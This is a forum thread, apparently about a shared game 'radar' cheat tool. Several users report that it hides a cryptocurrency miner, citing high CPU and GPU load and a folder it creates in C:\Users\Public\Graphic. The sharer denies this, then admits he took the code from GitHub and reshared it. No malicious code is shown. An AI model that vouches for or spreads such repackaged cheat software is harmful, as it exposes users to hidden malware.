Originally Posted by babyiloveyou12

Those code are probably mine.
@ @

dude, do you understand me?? this radar is open source.
look at .js files and show me where is bad code snippet in my .js files??
dont blame me if you don't know..

Originally Posted by 13last

So I don't post much, just observe, but I gotta say there 100% is a miner in this.

Out of curiosity left my pc on for like a day on non-sleep mode and come back to lag and pc hanging up. Checked task manager and both my internal and external gpus and cpu were running at 50%.

Well I hope you enjoyed the mining.

read up and tell me please.

[w5164]

how to delete the item name ?
can you tell me?

[prtwlf]

Originally Posted by w5164

how to delete the item name ?
can you tell me?

you can delete in /static/app.js or /backend/util.js

[w5164]

Originally Posted by prtwlf

you can delete in /static/app.js or /backend/util.js

both? or just one?

[prtwlf]

Originally Posted by w5164

both? or just one?

just one.

[w5164]

Originally Posted by prtwlf

just one.

thx for help

[sweettooth99]

it still has the miner in 1.1.. as soon as you type your IP and launch it installs a new folder in C:\Users\Public\Graphic

[iniinfi]

@ if you did not build in that miner- where do you get that source code from that you publish to us here?

seems like you are not the developer behind it

[prtwlf]

Originally Posted by iniinfi

@ if you did not build in that miner- where do you get that source code from that you publish to us here?

seems like you are not the developer behind it

i picked up from github but code was not working. i fixed for last patch and reshare.